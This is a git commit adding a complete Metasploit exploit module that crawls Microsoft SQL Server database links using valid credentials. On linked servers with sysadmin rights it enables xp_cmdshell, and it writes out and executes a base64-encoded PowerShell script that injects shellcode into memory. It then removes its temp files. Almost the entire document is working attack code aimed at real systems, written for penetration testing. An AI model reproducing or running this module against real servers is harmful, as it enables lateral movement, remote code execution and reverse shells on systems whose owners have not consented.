Merge branch 'mssql_linkcrawler' of git://github.com/nullbind/metasploit-framework into nullbind-mssql_linkcrawler
commit
e9b9c96221
|
@ -0,0 +1,534 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
#include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server - Database Link Crawler',
|
||||
'Description' => %q{
|
||||
This module can be used to crawl MS SQL Server database links and
|
||||
deploy metasploit payloads through links configured with sysadmin
|
||||
privileges via a direct database connection once a valid set of
|
||||
credentials have been provided. If you are attempting to obtain
|
||||
multiple reverse shells using this module we recommend setting the
|
||||
“DisablePayloadHandler” advanced option to “true”, and setting up
|
||||
a multi/handler to run in the background as a job to support
|
||||
multiple incoming shells. If you are interested in deploying
|
||||
payloads to spefic servers this module also supports that
|
||||
functionality via the “DEPLOYLIST” option. Currently, the module
|
||||
is capable of delivering payloads to both 32bit and 64bit Windows
|
||||
systems via powershell memory injection methods based on Matthew
|
||||
Graeber’s work . As a result, the target server must have
|
||||
powershell installed. By default, all of the crawl information is
|
||||
saved to a CSV formatted log file and MSF loot so that the tool
|
||||
can also be used for auditing without deploying payloads.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Antti Rantasaari <antti.rantasaari@netspi.com>',
|
||||
'nullbind <scott.sutherland@netspi.com>'
|
||||
],
|
||||
'Platform' => [ 'Windows' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [[ 'URL', 'http://www.netspi.com/' ]],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']),
|
||||
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']),
|
||||
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# Display start time
|
||||
time1 = Time.new
|
||||
print_status("-------------------------------------------------")
|
||||
print_status("Start time : #{time1.inspect}")
|
||||
print_status("-------------------------------------------------")
|
||||
|
||||
# Check if credentials are correct
|
||||
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
|
||||
|
||||
if (not mssql_login_datastore)
|
||||
print_error("Invalid SQL Server credentials")
|
||||
print_status("-------------------------------------------------")
|
||||
return
|
||||
end
|
||||
|
||||
# Define master array to keep track of enumerated database information
|
||||
masterList = Array.new
|
||||
masterList[0] = Hash.new # Define new hash
|
||||
masterList[0]["name"] = "" # Name of the current database server
|
||||
masterList[0]["db_link"] = "" # Name of the linked database server
|
||||
masterList[0]["db_user"] = "" # User configured on the database server link
|
||||
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
|
||||
masterList[0]["db_version"] = "" # Database version of the linked database server
|
||||
masterList[0]["db_os"] = "" # OS of the linked database server
|
||||
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
|
||||
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
|
||||
|
||||
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
|
||||
|
||||
# Setup query for gathering information from database servers
|
||||
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+ CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
|
||||
|
||||
# Create loot table to store configuration information from crawled database server links
|
||||
linked_server_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Linked Server Table',
|
||||
'Ident' => 1,
|
||||
'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
|
||||
)
|
||||
save_loot = ""
|
||||
|
||||
# Start crawling through linked database servers
|
||||
while masterList.any? {|f| f["done"] == 0}
|
||||
# Find the first DB server that has not been crawled (not marked as done)
|
||||
server = masterList.detect {|f| f["done"] == 0}
|
||||
|
||||
# Get configuration information from the database server
|
||||
sql = query_builder(server["path"].first,"",0,versionQuery)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
parse_results = result[:rows]
|
||||
parse_results.each { |s|
|
||||
server["name"] = s[0]
|
||||
server["db_user"] = s[1]
|
||||
server["db_sysadmin"] = s[5]
|
||||
server["db_version"] = s[3]
|
||||
server["db_os"] = s[4]
|
||||
server["numlinks"] = s[6]
|
||||
}
|
||||
if masterList.length == 1
|
||||
print_good("Successfully connected to #{server["name"]}")
|
||||
if datastore['VERBOSE'] == true
|
||||
show_configs(server["name"],parse_results,true)
|
||||
elsif server["db_sysadmin"] == 1
|
||||
print_good("Sysadmin on #{server["name"]}")
|
||||
end
|
||||
end
|
||||
if server["db_sysadmin"] == 1
|
||||
enable_xp_cmdshell(server["path"].first,server["name"],shelled)
|
||||
end
|
||||
|
||||
# If links were found, determine if they can be connected to and add to crawl list
|
||||
if (server["numlinks"] > 0)
|
||||
# Enable loot
|
||||
save_loot = "yes"
|
||||
|
||||
# Select a list of the linked database servers that exist on the current database server
|
||||
print_status("")
|
||||
print_status("-------------------------------------------------")
|
||||
print_status("Crawling links on #{server["name"]}...")
|
||||
# Display number db server links
|
||||
print_status("Links found: #{server["numlinks"]}")
|
||||
print_status("-------------------------------------------------")
|
||||
execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
|
||||
sql = query_builder(server["path"].first,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
|
||||
result[:rows].each {|name|
|
||||
name.each {|name|
|
||||
|
||||
# Check if link works and if sysadmin permissions - temp array to save orig server[path]
|
||||
temppath = Array.new
|
||||
temppath = server["path"].first.dup
|
||||
temppath << name
|
||||
|
||||
# Get configuration information from the linked server
|
||||
sql = query_builder(temppath,"",0,versionQuery)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
|
||||
# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
|
||||
if result[:errors].empty? and result[:rows] != nil then
|
||||
# Assign db query results to variables for hash
|
||||
parse_results = result[:rows]
|
||||
|
||||
# Add link server information to loot
|
||||
link_status = 'up'
|
||||
write_to_report(name,server,parse_results,linked_server_table,link_status)
|
||||
|
||||
# Display link server information in verbose mode
|
||||
if datastore['VERBOSE'] == true
|
||||
show_configs(name,parse_results)
|
||||
print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
|
||||
else
|
||||
if parse_results[0][5] == 1
|
||||
print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
|
||||
else
|
||||
print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
|
||||
end
|
||||
end
|
||||
|
||||
# Add link to masterlist hash
|
||||
unless masterList.any? {|f| f["name"] == name}
|
||||
masterList << add_host(name,server["path"].first,parse_results)
|
||||
else
|
||||
(0..masterList.length-1).each do |x|
|
||||
if masterList[x]["name"] == name
|
||||
masterList[x]["path"] << server["path"].first.dup
|
||||
masterList[x]["path"].last << name
|
||||
unless shelled.include?(name)
|
||||
if parse_results[0][2]==1
|
||||
enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
|
||||
end
|
||||
end
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
# Add to report
|
||||
linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
|
||||
|
||||
# Display status to user
|
||||
if datastore['VERBOSE'] == true
|
||||
print_status(" ")
|
||||
print_error("Linked Server: #{name} ")
|
||||
print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
|
||||
print_status(" Failure could be due to:")
|
||||
print_status(" - A dead server")
|
||||
print_status(" - Bad credentials")
|
||||
print_status(" - Nested open queries through SQL 2000")
|
||||
else
|
||||
print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
|
||||
end
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
# Set server to "crawled"
|
||||
server["done"]=1
|
||||
end
|
||||
|
||||
print_status("-------------------------------------------------")
|
||||
|
||||
# Setup table for loot
|
||||
this_service = nil
|
||||
if framework.db and framework.db.active
|
||||
this_service = report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => 'mssql',
|
||||
:proto => 'tcp'
|
||||
)
|
||||
end
|
||||
|
||||
# Display end time
|
||||
time1 = Time.new
|
||||
print_status("End time : #{time1.inspect}")
|
||||
print_status("-------------------------------------------------")
|
||||
|
||||
# Write log to loot / file
|
||||
if (save_loot=="yes")
|
||||
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
|
||||
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
|
||||
print_status("Results have been saved to: #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------
|
||||
# Method that builds nested openquery statements using during crawling
|
||||
# ---------------------------------------------------------------------
|
||||
def query_builder(path,sql,ticks,execute)
|
||||
|
||||
# Temp used to maintain the original masterList[x]["path"]
|
||||
temp = Array.new
|
||||
path.each {|i| temp << i}
|
||||
|
||||
# Actual query - defined when the function originally called - ticks multiplied
|
||||
if path.length == 0
|
||||
return execute.gsub("'","'"*2**ticks)
|
||||
|
||||
# openquery generator
|
||||
else
|
||||
sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
|
||||
return sql
|
||||
end
|
||||
end
|
||||
|
||||
# ---------------------------------------------------------------------
|
||||
# Method that builds nested openquery statements using during crawling
|
||||
# ---------------------------------------------------------------------
|
||||
def query_builder_rpc(path,sql,ticks,execute)
|
||||
|
||||
# Temp used to maintain the original masterList[x]["path"]
|
||||
temp = Array.new
|
||||
path.each {|i| temp << i}
|
||||
|
||||
# Actual query - defined when the function originally called - ticks multiplied
|
||||
if path.length == 0
|
||||
return execute.gsub("'","'"*2**ticks)
|
||||
|
||||
# Openquery generator
|
||||
else
|
||||
exec_at = temp.shift
|
||||
sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
|
||||
return sql
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------
|
||||
# Method for adding new linked database servers to the crawl list
|
||||
# ---------------------------------------------------------------------
|
||||
def add_host(name,path,parse_results)
|
||||
|
||||
# Used to add new servers to masterList
|
||||
server = Hash.new
|
||||
server["name"] = name
|
||||
temppath = Array.new
|
||||
path.each {|i| temppath << i }
|
||||
server["path"] = [temppath]
|
||||
server["path"].first << name
|
||||
server["done"] = 0
|
||||
parse_results.each {|stuff|
|
||||
server["db_user"] = stuff.at(1)
|
||||
server["db_sysadmin"] = stuff.at(2)
|
||||
server["db_version"] = stuff.at(3)
|
||||
server["db_os"] = stuff.at(4)
|
||||
server["numlinks"] = stuff.at(6)
|
||||
}
|
||||
return server
|
||||
end
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------
|
||||
# Method to display configuration information
|
||||
# ---------------------------------------------------------------------
|
||||
def show_configs(i,parse_results,entry=false)
|
||||
|
||||
print_status(" ")
|
||||
parse_results.each {|stuff|
|
||||
|
||||
# Translate syadmin code
|
||||
status = stuff.at(5)
|
||||
if status == 1 then
|
||||
dbpriv = "sysadmin"
|
||||
else
|
||||
dbpriv = "user"
|
||||
end
|
||||
|
||||
# Display database link information
|
||||
if entry == false
|
||||
print_status("Linked Server: #{i}")
|
||||
print_status(" o Link user: #{stuff.at(1)}")
|
||||
print_status(" o Link privs: #{dbpriv}")
|
||||
print_status(" o Link version: #{stuff.at(3)}")
|
||||
print_status(" o Link OS: #{stuff.at(4).strip}")
|
||||
print_status(" o Links on server: #{stuff.at(6)}")
|
||||
else
|
||||
print_status("Server: #{i}")
|
||||
print_status(" o Server user: #{stuff.at(1)}")
|
||||
print_status(" o Server privs: #{dbpriv}")
|
||||
print_status(" o Server version: #{stuff.at(3)}")
|
||||
print_status(" o Server OS: #{stuff.at(4).strip}")
|
||||
print_status(" o Server on server: #{stuff.at(6)}")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# ---------------------------------------------------------------------
|
||||
# Method for generating the report and loot
|
||||
# ---------------------------------------------------------------------
|
||||
def write_to_report(i,server,parse_results,linked_server_table,link_status)
|
||||
parse_results.each {|stuff|
|
||||
|
||||
# Parse server information
|
||||
db_link_user = stuff.at(1)
|
||||
db_link_sysadmin = stuff.at(2)
|
||||
db_link_version = stuff.at(3)
|
||||
db_link_os = stuff.at(4)
|
||||
|
||||
# Add link server to the reporting array and set link_status to 'up'
|
||||
linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
|
||||
|
||||
return linked_server_table
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------
|
||||
# Method for enabling xp_cmdshell
|
||||
# ---------------------------------------------------------------------
|
||||
def enable_xp_cmdshell(path,name,shelled)
|
||||
# Enables "show advanced options" and xp_cmdshell if needed and possible
|
||||
# They cannot be enabled in user transactions (i.e. via openquery)
|
||||
# Only enabled if RPC_Out is enabled for linked server
|
||||
# All changes are reverted after payload delivery and execution
|
||||
|
||||
# Check if "show advanced options" is enabled
|
||||
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
saoOrig = result[:rows].pop.pop
|
||||
|
||||
# Check if "xp_cmdshell" is enabled
|
||||
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
xpcmdOrig = result[:rows].pop.pop
|
||||
|
||||
# Try blindly to enable "xp_cmdshell" on the linked server
|
||||
# Note:
|
||||
# This only works if rpcout is enabled for all links in the link path.
|
||||
# If that is not the case it fails cleanly.
|
||||
if xpcmdOrig == 0
|
||||
if saoOrig == 0
|
||||
# Enabling show advanced options and xp_cmdshell
|
||||
execute = "sp_configure 'show advanced options',1;reconfigure"
|
||||
sql = query_builder_rpc(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
end
|
||||
|
||||
# Enabling xp_cmdshell
|
||||
print_status("\t - xp_cmdshell is not enabled on " + path.last + "... Trying to enable")
|
||||
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
|
||||
sql = query_builder_rpc(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
end
|
||||
|
||||
# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
|
||||
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
xpcmdNow = result[:rows].pop.pop
|
||||
|
||||
if xpcmdNow == 1 or xpcmdOrig == 1
|
||||
print_status("\t - Enabled xp_cmdshell on " + path.last) if xpcmdOrig == 0
|
||||
if datastore['DEPLOY']
|
||||
print_status("Ready to deploy a payload #{name}")
|
||||
if datastore['DEPLOYLIST']==""
|
||||
datastore['DEPLOYLIST'] = nil
|
||||
end
|
||||
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||
print_status("\t - Checking if #{name} is on the deploy list...")
|
||||
end
|
||||
if datastore['DEPLOYLIST'] != nil
|
||||
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
|
||||
end
|
||||
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
|
||||
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||
print_status("\t - #{name} is on the deploy list.")
|
||||
end
|
||||
unless shelled.include?(name)
|
||||
powershell_upload_exec(path)
|
||||
shelled << name
|
||||
else
|
||||
print_status("Payload already deployed on #{name}")
|
||||
end
|
||||
elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
|
||||
print_status("\t - #{name} is not on the deploy list")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("\t - Unable to enable xp_cmdshell on " + path.last)
|
||||
end
|
||||
|
||||
# Revert soa and xp_cmdshell to original state
|
||||
if xpcmdOrig == 0 and xpcmdNow == 1
|
||||
print_status("\t - Disabling xp_cmdshell on " + path.last)
|
||||
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
|
||||
sql = query_builder_rpc(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
end
|
||||
if saoOrig == 0 and xpcmdNow == 1
|
||||
execute = "sp_configure 'show advanced options',0;reconfigure"
|
||||
sql = query_builder_rpc(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
# Method that delivers shellcode payload via powershell thread injection
|
||||
# ----------------------------------------------------------------------
|
||||
def powershell_upload_exec(path)
|
||||
|
||||
# Create powershell script that will inject shell code from the selected payload
|
||||
myscript ="$code = @\"
|
||||
[DllImport(\"kernel32.dll\")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport(\"kernel32.dll\")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport(\"msvcrt.dll\")]
|
||||
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
||||
\"@
|
||||
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
|
||||
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
|
||||
$size = 0x1000
|
||||
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
|
||||
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
|
||||
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
|
||||
$winFunc::CreateThread(0,0,$x,0,0,0)"
|
||||
|
||||
# Unicode encode powershell script
|
||||
mytext_uni = Rex::Text.to_unicode(myscript)
|
||||
|
||||
# Base64 encode unicode
|
||||
mytext_64 = Rex::Text.encode_base64(mytext_uni)
|
||||
|
||||
# Generate random file names
|
||||
rand_filename = rand_text_alpha(8)
|
||||
var_duplicates = rand_text_alpha(8)
|
||||
|
||||
# Write base64 encoded powershell payload to temp file
|
||||
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
|
||||
# Also, line number tracking was added so that duplication lines causes by nested linked
|
||||
# queries could be found and removed.
|
||||
print_status("Deploying payload...")
|
||||
linenum = 0
|
||||
mytext_64.scan(/.{1,2500}/).each {|part|
|
||||
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
linenum = linenum+1
|
||||
}
|
||||
|
||||
# Remove duplicate lines from temp file and write to new file
|
||||
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
|
||||
# Remove tracking tags from lines
|
||||
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
|
||||
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
|
||||
# If running on 64bit system, 32bit powershell called from syswow64
|
||||
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
|
||||
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
|
||||
powershell_64 = Rex::Text.encode_base64(powershell_uni)
|
||||
|
||||
# Setup query
|
||||
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
|
||||
|
||||
# Execute the playload
|
||||
print_status("Executing payload...")
|
||||
result = mssql_query(sql, false) if mssql_login_datastore
|
||||
# Remove payload data from the target server
|
||||
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
|
||||
sql = query_builder(path,"",0,execute)
|
||||
result = mssql_query(sql,false)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue